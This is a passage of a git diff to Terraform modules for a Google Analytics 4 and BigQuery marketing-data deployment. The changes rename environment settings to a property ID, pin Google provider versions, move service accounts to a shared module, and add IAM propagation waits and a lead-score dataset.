null_resource.check_secretmanager_api ] -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/data-store/variables.tf b/infrastructure/terraform/modules/data-store/variables.tf index 62bc24f1..bd11aab7 100644 --- a/infrastructure/terraform/modules/data-store/variables.tf +++ b/infrastructure/terraform/modules/data-store/variables.tf @@ -38,21 +38,15 @@ variable "project_owner_email" { } variable "dataform_github_repo" { - description = "Private Github repo for Dataform." + description = "Private GitHub repo for Dataform." type = string } variable "dataform_github_token" { - description = "Github token for Dataform repo." + description = "GitHub token for Dataform repo." type = string } -variable "create_dev_environment" { - description = "Indicates that a development environment needs to be created" - type = bool - default = true -} - variable "dev_data_project_id" { description = "Project ID of where the dev datasets will created. If not provided, data_project_id will be used." type = string @@ -65,12 +59,6 @@ variable "dev_destination_data_location" { default = "" } -variable "create_staging_environment" { - description = "Indicates that a staging environment needs to be created" - type = bool - default = true -} - variable "staging_data_project_id" { description = "Project ID of where the staging datasets will created. If not provided, data_project_id will be used." type = string @@ -83,12 +71,18 @@ variable "staging_destination_data_location" { default = "" } -variable "create_prod_environment" { - description = "Indicates that a production environment needs to be created" +variable "deploy_dataform" { + description = "Indicates that a dataform workspace needs to be created" type = bool default = true } +variable "property_id" { + description = "Google Analytics 4 Property id to create an MDS for it" + type = string + default = "" +} + variable "prod_data_project_id" { description = "Project ID of where the prod datasets will created. If not provided, data_project_id will be used." type = string @@ -112,7 +106,7 @@ variable "source_ga4_export_dataset" { } variable "ga4_incremental_processing_days_back" { - type = string + type = string default = "3" } @@ -128,4 +122,8 @@ variable "source_ads_export_data" { variable "dataform_region" { description = "Specify dataform region when dataform is not available in the default cloud region of choice" type = string -} \ No newline at end of file +} + +variable "time_zone" { + type = string +} diff --git a/infrastructure/terraform/modules/data-store/versions.tf b/infrastructure/terraform/modules/data-store/versions.tf index 8821ac39..ae05aad2 100644 --- a/infrastructure/terraform/modules/data-store/versions.tf +++ b/infrastructure/terraform/modules/data-store/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/modules/dataform-workflow/README.md b/infrastructure/terraform/modules/dataform-workflow/README.md index 8b2bdff5..9ff7546b 100644 --- a/infrastructure/terraform/modules/dataform-workflow/README.md +++ b/infrastructure/terraform/modules/dataform-workflow/README.md @@ -1 +1 @@ -# Dataform workflow module \ No newline at end of file +# Dataform workflow module diff --git a/infrastructure/terraform/modules/dataform-workflow/dataform-workflow.tf b/infrastructure/terraform/modules/dataform-workflow/dataform-workflow.tf index a0d7d153..99e3921c 100644 --- a/infrastructure/terraform/modules/dataform-workflow/dataform-workflow.tf +++ b/infrastructure/terraform/modules/dataform-workflow/dataform-workflow.tf @@ -22,10 +22,10 @@ locals { # This resources creates a workflow that runs the Dataform incremental pipeline. resource "google_workflows_workflow" "dataform-incremental-workflow" { project = null_resource.check_workflows_api.id != "" ? module.data_processing_project_services.project_id : var.project_id - name = "dataform-${var.environment}-incremental" + name = "dataform-${var.property_id}-incremental" region = var.region - description = "Dataform incremental workflow for ${var.environment} environment" - service_account = google_service_account.workflow-dataform.email + description = "Dataform incremental workflow for ${var.property_id} ga4 property" + service_account = module.workflow-dataform.email # The source code includes the following steps: # Init: This step initializes the workflow by assigning the value of the dataform_repository_id variable to the repository variable. # Create Compilation Result: This step creates a compilation result for the Dataform repository. The compilation result includes the git commit hash and the code compilation configuration. @@ -49,7 +49,7 @@ main: defaultDatabase: ${var.destination_bigquery_project_id} defaultLocation: ${var.destination_bigquery_dataset_location} vars: - env: ${var.environment} + ga4_property_id: '${var.property_id}' ga4_export_project: ${var.source_ga4_export_project_id} ga4_export_dataset: ${var.source_ga4_export_dataset} ga4_incremental_processing_days_back: '${var.ga4_incremental_processing_days_back}' diff --git a/infrastructure/terraform/modules/dataform-workflow/scheduler.tf b/infrastructure/terraform/modules/dataform-workflow/scheduler.tf index 3947b3b8..fed10fc8 100644 --- a/infrastructure/terraform/modules/dataform-workflow/scheduler.tf +++ b/infrastructure/terraform/modules/dataform-workflow/scheduler.tf @@ -14,12 +14,12 @@ # This creates a Cloud Scheduler job that triggers the Dataform incremental workflow on a daily schedule. resource "google_cloud_scheduler_job" "daily-dataform-increments" { - project = module.data_processing_project_services.project_id - name = "daily-dataform-${var.environment}" - description = "Daily Dataform ${var.environment} environment incremental update" + project = module.data_processing_project_services.project_id + name = "daily-dataform-${var.property_id}" + description = "Daily Dataform ${var.property_id} property export incremental update" # The schedule attribute specifies the schedule for the job. In this case, the job is scheduled to run daily at the specified times. - schedule = var.daily_schedule - time_zone = "America/New_York" + schedule = var.daily_schedule + time_zone = var.time_zone # The attempt_deadline attribute specifies the maximum amount of time that the job will attempt to run before failing. # In this case, the job will attempt to run for a maximum of 5 minutes before failing. attempt_deadline = "320s" @@ -35,7 +35,7 @@ resource "google_cloud_scheduler_job" "daily-dataform-increments" { uri = "https://workflowexecutions.googleapis.com/v1/projects/${module.data_processing_project_services.project_id}/locations/${var.region}/workflows/${google_workflows_workflow.dataform-incremental-workflow.name}/executions" oauth_token { - service_account_email = google_service_account.scheduler.email + service_account_email = module.scheduler.email } } } diff --git a/infrastructure/terraform/modules/dataform-workflow/service-account.tf b/infrastructure/terraform/modules/dataform-workflow/service-account.tf index 39d31811..95e518e1 100644 --- a/infrastructure/terraform/modules/dataform-workflow/service-account.tf +++ b/infrastructure/terraform/modules/dataform-workflow/service-account.tf @@ -12,20 +12,36 @@ # See the License for the specific language governing permissions and # limitations under the License. -resource "google_service_account" "scheduler" { +locals { + scheduler_sa = "workflow-scheduler-${var.property_id}@${module.data_processing_project_services.project_id}.iam.gserviceaccount.com" + workflows_sa = "workflow-dataform-${var.property_id}@${module.data_processing_project_services.project_id}.iam.gserviceaccount.com" +} + +module "scheduler" { + source = "terraform-google-modules/service-accounts/google//modules/simple-sa" + version = "~> 4.0" + + project_id = null_resource.check_cloudscheduler_api.id != "" ? module.data_processing_project_services.project_id : var.project_id + name = "workflow-scheduler-${var.property_id}" + project_roles = [ + "roles/workflows.invoker" + ] + depends_on = [ module.data_processing_project_services, null_resource.check_cloudscheduler_api, - ] - - project = null_resource.check_cloudscheduler_api.id != "" ? module.data_processing_project_services.project_id : var.project_id - account_id = "workflow-scheduler-${var.environment}" - display_name = "Service Account to schedule Dataform workflows in ${var.environment}" + ] } -locals { - scheduler_sa = "workflow-scheduler-${var.environment}@${module.data_processing_project_services.project_id}.iam.gserviceaccount.com" - workflows_sa = "workflow-dataform-${var.environment}@${module.data_processing_project_services.project_id}.iam.gserviceaccount.com" +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_scheduler_service_account_role_propagation" { + create_duration = "120s" + depends_on = [ + module.scheduler + ] } # Wait for the scheduler service account to be created @@ -37,7 +53,7 @@ resource "null_resource" "wait_for_scheduler_sa_creation" { MAX_TRIES=100 while ! gcloud iam service-accounts list --project=${module.data_processing_project_services.project_id} --filter="EMAIL:${local.scheduler_sa} AND DISABLED:False" --format="table(EMAIL, DISABLED)" && [ $COUNTER -lt $MAX_TRIES ] do - sleep 3 + sleep 10 printf "." COUNTER=$((COUNTER + 1)) done @@ -45,37 +61,44 @@ resource "null_resource" "wait_for_scheduler_sa_creation" { echo "scheduler service account was not created, terraform can not continue!" exit 1 fi - sleep 20 + sleep 120 EOT } depends_on = [ module.data_processing_project_services, - null_resource.check_dataform_api + time_sleep.wait_for_scheduler_service_account_role_propagation, + null_resource.check_dataform_api, + module.scheduler, ] } -resource "google_project_iam_member" "scheduler-workflow-invoker" { - depends_on = [ - module.data_processing_project_services, - null_resource.check_cloudscheduler_api, - null_resource.wait_for_scheduler_sa_creation - ] +module "workflow-dataform" { + source = "terraform-google-modules/service-accounts/google//modules/simple-sa" + version = "~> 4.0" - project = null_resource.check_cloudscheduler_api.id != "" ? module.data_processing_project_services.project_id : var.project_id - member = "serviceAccount:${google_service_account.scheduler.email}" - role = "roles/workflows.invoker" -} + project_id = null_resource.check_workflows_api.id != "" ? module.data_processing_project_services.project_id : var.project_id + name = "workflow-dataform-${var.property_id}" + project_roles = [ + "roles/dataform.editor" + ] -resource "google_service_account" "workflow-dataform" { depends_on = [ module.data_processing_project_services, null_resource.check_workflows_api, - ] - - project = null_resource.check_workflows_api.id != "" ? module.data_processing_project_services.project_id : var.project_id - account_id = "workflow-dataform-${var.environment}" - display_name = "Service Account to run Dataform workflows in ${var.environment}" + null_resource.check_dataform_api, + ] +} + +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_workflow_dataform_service_account_role_propagation" { + create_duration = "120s" + depends_on = [ + module.workflow-dataform + ] } # Wait for the workflows service account to be created @@ -86,7 +109,7 @@ resource "null_resource" "wait_for_workflows_sa_creation" { MAX_TRIES=100 while ! gcloud iam service-accounts list --project=${module.data_processing_project_services.project_id} --filter="EMAIL:${local.workflows_sa} AND DISABLED:False" --format="table(EMAIL, DISABLED)" && [ $COUNTER -lt $MAX_TRIES ] do - sleep 3 + sleep 10 printf "." COUNTER=$((COUNTER + 1)) done @@ -94,25 +117,14 @@ resource "null_resource" "wait_for_workflows_sa_creation" { echo "workflows service account was not created, terraform can not continue!" exit 1 fi - sleep 20 + sleep 120 EOT } depends_on = [ module.data_processing_project_services, - null_resource.check_dataform_api + null_resource.check_dataform_api, + module.workflow-dataform, + time_sleep.wait_for_workflow_dataform_service_account_role_propagation, ] } - - -resource "google_project_iam_member" "worflow-dataform-dataform-editor" { - depends_on = [ - module.data_processing_project_services, - null_resource.check_dataform_api, - null_resource.wait_for_workflows_sa_creation - ] - - project = null_resource.check_workflows_api.id != "" ? module.data_processing_project_services.project_id : var.project_id - member = "serviceAccount:${google_service_account.workflow-dataform.email}" - role = "roles/dataform.editor" -} \ No newline at end of file diff --git a/infrastructure/terraform/modules/dataform-workflow/services.tf b/infrastructure/terraform/modules/dataform-workflow/services.tf index 0271f228..c85ff589 100644 --- a/infrastructure/terraform/modules/dataform-workflow/services.tf +++ b/infrastructure/terraform/modules/dataform-workflow/services.tf @@ -15,7 +15,7 @@ # https://registry.terraform.io/modules/terraform-google-modules/project-factory/google/latest/submodules/project_services module "data_processing_project_services" { source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" + version = "18.0.0" disable_dependent_services = false disable_services_on_destroy = false @@ -142,4 +142,4 @@ resource "null_resource" "check_cloudscheduler_api" { depends_on = [ module.data_processing_project_services ] -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/dataform-workflow/variables.tf b/infrastructure/terraform/modules/dataform-workflow/variables.tf index 60b014d8..97d5dc73 100644 --- a/infrastructure/terraform/modules/dataform-workflow/variables.tf +++ b/infrastructure/terraform/modules/dataform-workflow/variables.tf @@ -22,12 +22,12 @@ variable "region" { type = string } -variable "environment" { +variable "property_id" { type = string } variable "daily_schedule" { - type = string + type = string # This schedule executes every days, each 2 hours between 5AM and 11PM. default = "0 5-23/2 * * *" #"2 5 * * *" } @@ -45,7 +45,7 @@ variable "source_ga4_export_dataset" { } variable "ga4_incremental_processing_days_back" { - type = string + type = string default = "3" } @@ -74,4 +74,8 @@ variable "gitCommitish" { variable "includedTags" { type = list(string) default = [] -} \ No newline at end of file +} + +variable "time_zone" { + type = string +} diff --git a/infrastructure/terraform/modules/dataform-workflow/versions.tf b/infrastructure/terraform/modules/dataform-workflow/versions.tf index 8821ac39..ae05aad2 100644 --- a/infrastructure/terraform/modules/dataform-workflow/versions.tf +++ b/infrastructure/terraform/modules/dataform-workflow/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/modules/feature-store/bigquery-datasets.tf b/infrastructure/terraform/modules/feature-store/bigquery-datasets.tf index c51927c3..0a56fdaf 100644 --- a/infrastructure/terraform/modules/feature-store/bigquery-datasets.tf +++ b/infrastructure/terraform/modules/feature-store/bigquery-datasets.tf @@ -14,14 +14,14 @@ # This resource creates a BigQuery dataset called `feature_store`. resource "google_bigquery_dataset" "feature_store" { - dataset_id = local.config_bigquery.dataset.feature_store.name - friendly_name = local.config_bigquery.dataset.feature_store.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : var.project_id - description = local.config_bigquery.dataset.feature_store.description - location = local.config_bigquery.dataset.feature_store.location + dataset_id = local.config_bigquery.dataset.feature_store.name + friendly_name = local.config_bigquery.dataset.feature_store.friendly_name + project = local.feature_store_project_id + description = local.config_bigquery.dataset.feature_store.description + location = local.config_bigquery.dataset.feature_store.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.feature_store.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.feature_store.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.feature_store.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -40,14 +40,14 @@ resource "google_bigquery_dataset" "feature_store" { # This resource creates a BigQuery dataset called `purchase_propensity`. resource "google_bigquery_dataset" "purchase_propensity" { - dataset_id = local.config_bigquery.dataset.purchase_propensity.name - friendly_name = local.config_bigquery.dataset.purchase_propensity.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id - description = local.config_bigquery.dataset.purchase_propensity.description - location = local.config_bigquery.dataset.purchase_propensity.location + dataset_id = local.config_bigquery.dataset.purchase_propensity.name + friendly_name = local.config_bigquery.dataset.purchase_propensity.friendly_name + project = local.purchase_propensity_project_id + description = local.config_bigquery.dataset.purchase_propensity.description + location = local.config_bigquery.dataset.purchase_propensity.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.feature_store.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.purchase_propensity.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.purchase_propensity.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -66,14 +66,40 @@ resource "google_bigquery_dataset" "purchase_propensity" { # This resource creates a BigQuery dataset called `churn_propensity`. resource "google_bigquery_dataset" "churn_propensity" { - dataset_id = local.config_bigquery.dataset.churn_propensity.name - friendly_name = local.config_bigquery.dataset.churn_propensity.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.churn_propensity_project_id : local.feature_store_project_id - description = local.config_bigquery.dataset.churn_propensity.description - location = local.config_bigquery.dataset.churn_propensity.location + dataset_id = local.config_bigquery.dataset.churn_propensity.name + friendly_name = local.config_bigquery.dataset.churn_propensity.friendly_name + project = local.churn_propensity_project_id + description = local.config_bigquery.dataset.churn_propensity.description + location = local.config_bigquery.dataset.churn_propensity.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.feature_store.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.churn_propensity.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.churn_propensity.max_time_travel_hours + # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. + # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. + delete_contents_on_destroy = false + + labels = { + version = "prod" + } + + # The lifecycle block allows you to configure the lifecycle of the dataset. + # In this case, the ignore_changes attribute is set to all, which means that + # Terraform will ignore any changes to the dataset and will not attempt to update the dataset. + lifecycle { + ignore_changes = all + } +} + +# This resource creates a BigQuery dataset called `lead_score_propensity`. +resource "google_bigquery_dataset" "lead_score_propensity" { + dataset_id = local.config_bigquery.dataset.lead_score_propensity.name + friendly_name = local.config_bigquery.dataset.lead_score_propensity.friendly_name + project = local.lead_score_propensity_project_id + description = local.config_bigquery.dataset.lead_score_propensity.description + location = local.config_bigquery.dataset.lead_score_propensity.location + # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. + # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.feature_store.max_time_travel_hours configuration. + max_time_travel_hours = local.config_bigquery.dataset.lead_score_propensity.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -92,14 +118,14 @@ resource "google_bigquery_dataset" "churn_propensity" { # This resource creates a BigQuery dataset called `customer_lifetime_value`. resource "google_bigquery_dataset" "customer_lifetime_value" { - dataset_id = local.config_bigquery.dataset.customer_lifetime_value.name - friendly_name = local.config_bigquery.dataset.customer_lifetime_value.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.customer_lifetime_value_project_id : local.feature_store_project_id - description = local.config_bigquery.dataset.customer_lifetime_value.description - location = local.config_bigquery.dataset.customer_lifetime_value.location + dataset_id = local.config_bigquery.dataset.customer_lifetime_value.name + friendly_name = local.config_bigquery.dataset.customer_lifetime_value.friendly_name + project = local.customer_lifetime_value_project_id + description = local.config_bigquery.dataset.customer_lifetime_value.description + location = local.config_bigquery.dataset.customer_lifetime_value.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.customer_lifetime_value.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.customer_lifetime_value.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.customer_lifetime_value.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -118,14 +144,14 @@ resource "google_bigquery_dataset" "customer_lifetime_value" { # This resource creates a BigQuery dataset called `audience_segmentation`. resource "google_bigquery_dataset" "audience_segmentation" { - dataset_id = local.config_bigquery.dataset.audience_segmentation.name - friendly_name = local.config_bigquery.dataset.audience_segmentation.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id - description = local.config_bigquery.dataset.audience_segmentation.description - location = local.config_bigquery.dataset.audience_segmentation.location + dataset_id = local.config_bigquery.dataset.audience_segmentation.name + friendly_name = local.config_bigquery.dataset.audience_segmentation.friendly_name + project = local.audience_segmentation_project_id + description = local.config_bigquery.dataset.audience_segmentation.description + location = local.config_bigquery.dataset.audience_segmentation.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.audience_segmentation.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.audience_segmentation.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.audience_segmentation.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -144,14 +170,14 @@ resource "google_bigquery_dataset" "audience_segmentation" { # This resource creates a BigQuery dataset called `auto_audience_segmentation`. resource "google_bigquery_dataset" "auto_audience_segmentation" { - dataset_id = local.config_bigquery.dataset.auto_audience_segmentation.name - friendly_name = local.config_bigquery.dataset.auto_audience_segmentation.friendly_name - project = null_resource.check_bigquery_api.id != "" ? local.auto_audience_segmentation_project_id : local.feature_store_project_id - description = local.config_bigquery.dataset.auto_audience_segmentation.description - location = local.config_bigquery.dataset.auto_audience_segmentation.location + dataset_id = local.config_bigquery.dataset.auto_audience_segmentation.name + friendly_name = local.config_bigquery.dataset.auto_audience_segmentation.friendly_name + project = local.auto_audience_segmentation_project_id + description = local.config_bigquery.dataset.auto_audience_segmentation.description + location = local.config_bigquery.dataset.auto_audience_segmentation.location # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.auto_audience_segmentation.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.auto_audience_segmentation.max_time_travel_hours + max_time_travel_hours = local.config_bigquery.dataset.auto_audience_segmentation.max_time_travel_hours # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. delete_contents_on_destroy = false @@ -200,12 +226,12 @@ locals { module "aggregated_vbb" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" dataset_id = local.config_bigquery.dataset.aggregated_vbb.name dataset_name = local.config_bigquery.dataset.aggregated_vbb.friendly_name description = local.config_bigquery.dataset.aggregated_vbb.description - project_id = null_resource.check_bigquery_api.id != "" ? local.aggregated_vbb_project_id : local.feature_store_project_id + project_id = local.aggregated_vbb_project_id location = local.config_bigquery.dataset.aggregated_vbb.location # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. @@ -216,18 +242,18 @@ module "aggregated_vbb" { } tables = [for table_id in local.aggregated_vbb_tables : - { - table_id = table_id - schema = file("../../sql/schema/table/${table_id}.json") - # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. - # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.auto_audience_segmentation.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.aggregated_vbb.max_time_travel_hours - deletion_protection = false - time_partitioning = null, - range_partitioning = null, - expiration_time = null, - clustering = [], - labels = {}, + { + table_id = table_id + schema = file("../../sql/schema/table/${table_id}.json") + # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. + # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.auto_audience_segmentation.max_time_travel_hours configuration. + max_time_travel_hours = local.config_bigquery.dataset.aggregated_vbb.max_time_travel_hours + deletion_protection = false + time_partitioning = null, + range_partitioning = null, + expiration_time = null, + clustering = [], + labels = {}, }] } @@ -236,13 +262,13 @@ module "aggregated_vbb" { # the aggregated predictions generated by the predictions pipelines. module "aggregated_predictions" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" - dataset_id = local.config_bigquery.dataset.aggregated_predictions.name - dataset_name = local.config_bigquery.dataset.aggregated_predictions.friendly_name - description = local.config_bigquery.dataset.aggregated_predictions.description - project_id = local.config_bigquery.dataset.aggregated_predictions.project_id - location = local.config_bigquery.dataset.aggregated_predictions.location + dataset_id = local.config_bigquery.dataset.aggregated_predictions.name + dataset_name = local.config_bigquery.dataset.aggregated_predictions.friendly_name + description = local.config_bigquery.dataset.aggregated_predictions.description + project_id = local.config_bigquery.dataset.aggregated_predictions.project_id + location = local.config_bigquery.dataset.aggregated_predictions.location # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to true, which means that the contents of the dataset will be deleted when the dataset is destroyed. delete_contents_on_destroy = true @@ -250,7 +276,7 @@ module "aggregated_predictions" { # The tables attribute is used to configure the BigQuery table within the dataset tables = [ { - table_id = "latest" + table_id = "latest" # The schema of the table, defined in a JSON file. schema = file("../../sql/schema/table/aggregated_predictions_latest.json") time_partitioning = null, @@ -270,7 +296,7 @@ module "aggregated_predictions" { # it failed to create resources that are already exist. To resolve you # need to import the the existing dataset and tables to terraform using # the following commands: -# > `terraform -chdir="${TERRAFORM_RUN_DIR}" import module.feature_store[0].module.gemini_insights.google_bigquery_dataset.main 'projects/${MAJ_FEATURE_STORE_PROJECT_ID}/datasets/gemini_insights'` +# > `terraform -chdir="${TERRAFORM_RUN_DIR}" import 'module.feature_store[0].module.gemini_insights.google_bigquery_dataset.main' 'projects/${MAJ_FEATURE_STORE_PROJECT_ID}/datasets/gemini_insights'` # # > `terraform -chdir="${TERRAFORM_RUN_DIR}" import 'module.feature_store[0].module.gemini_insights.google_bigquery_table.main["user_behaviour_revenue_insights_monthly"]' 'projects/${MAJ_FEATURE_STORE_PROJECT_ID}/datasets/gemini_insights/tables/user_behaviour_revenue_insights_monthly'` # @@ -291,35 +317,36 @@ locals { module "gemini_insights" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" dataset_id = local.config_bigquery.dataset.gemini_insights.name dataset_name = local.config_bigquery.dataset.gemini_insights.friendly_name description = local.config_bigquery.dataset.gemini_insights.description - project_id = null_resource.check_bigquery_api.id != "" ? local.gemini_insights_project_id : local.feature_store_project_id + project_id = local.gemini_insights_project_id location = local.config_bigquery.dataset.gemini_insights.location # The delete_contents_on_destroy attribute specifies whether the contents of the dataset should be deleted when the dataset is destroyed. # In this case, the delete_contents_on_destroy attribute is set to false, which means that the contents of the dataset will not be deleted when the dataset is destroyed. - delete_contents_on_destroy = true + delete_contents_on_destroy = false + deletion_protection = true dataset_labels = { - version = "prod", - dataset_id = local.config_bigquery.dataset.gemini_insights.name + version = "prod", + dataset_id = local.config_bigquery.dataset.gemini_insights.name } tables = [for table_id in local.gemini_insights_tables : - { - table_id = table_id - schema = file("../../sql/schema/table/${table_id}.json") - # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. - # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.gemini_insights.max_time_travel_hours configuration. - max_time_travel_hours = local.config_bigquery.dataset.gemini_insights.max_time_travel_hours - deletion_protection = false - time_partitioning = null, - range_partitioning = null, - expiration_time = null, - clustering = [], - labels = {}, + { + table_id = table_id + schema = file("../../sql/schema/table/${table_id}.json") + # The max_time_travel_hours attribute specifies the maximum number of hours that data in the dataset can be accessed using time travel queries. + # In this case, the maximum time travel hours is set to the value of the local file config.yaml section bigquery.dataset.gemini_insights.max_time_travel_hours configuration. + max_time_travel_hours = local.config_bigquery.dataset.gemini_insights.max_time_travel_hours + deletion_protection = true + time_partitioning = null, + range_partitioning = null, + expiration_time = null, + clustering = [], + labels = {}, }] } @@ -330,7 +357,7 @@ resource "null_resource" "check_gemini_insights_dataset_exists" { command = <<-EOT COUNTER=0 MAX_TRIES=100 - while ! bq ls --filter labels.dataset_id:${local.config_bigquery.dataset.gemini_insights.name} --max_results 1 --format=json --project_id ${module.gemini_insights.project} && [ $COUNTER -lt $MAX_TRIES ] + while ! bq ls --filter labels.dataset_id:${local.config_bigquery.dataset.gemini_insights.name} --max_results 1 --format=json --project_id ${local.gemini_insights_project_id} && [ $COUNTER -lt $MAX_TRIES ] do sleep 6 printf "." @@ -347,4 +374,4 @@ resource "null_resource" "check_gemini_insights_dataset_exists" { depends_on = [ module.gemini_insights.google_bigquery_dataset ] -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/feature-store/bigquery-procedures.tf b/infrastructure/terraform/modules/feature-store/bigquery-procedures.tf index d34ee0e2..71eabf3f 100644 --- a/infrastructure/terraform/modules/feature-store/bigquery-procedures.tf +++ b/infrastructure/terraform/modules/feature-store/bigquery-procedures.tf @@ -26,7 +26,7 @@ data "local_file" "audience_segmentation_inference_preparation_file" { # The procedure is typically invoked before running the Audience Segmentation model to ensure that the input data # is in the correct format and contains the necessary features for accurate predictions. resource "google_bigquery_routine" "audience_segmentation_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id + project = local.audience_segmentation_project_id dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id routine_id = "audience_segmentation_inference_preparation" routine_type = "PROCEDURE" @@ -54,13 +54,13 @@ data "local_file" "aggregated_value_based_bidding_training_preparation_file" { # The procedure is typically invoked before running the Aggregated Value Based Bidding model to ensure that the input data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "aggregated_value_based_bidding_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.aggregated_vbb_project_id : local.feature_store_project_id - dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id - routine_id = "aggregated_value_based_bidding_training_preparation" - routine_type = "PROCEDURE" - language = "SQL" + project = local.aggregated_vbb_project_id + dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id + routine_id = "aggregated_value_based_bidding_training_preparation" + routine_type = "PROCEDURE" + language = "SQL" definition_body = data.local_file.aggregated_value_based_bidding_training_preparation_file.content - description = "Procedure that prepares features for Aggregated VBB model training." + description = "Procedure that prepares features for Aggregated VBB model training." } @@ -78,13 +78,13 @@ data "local_file" 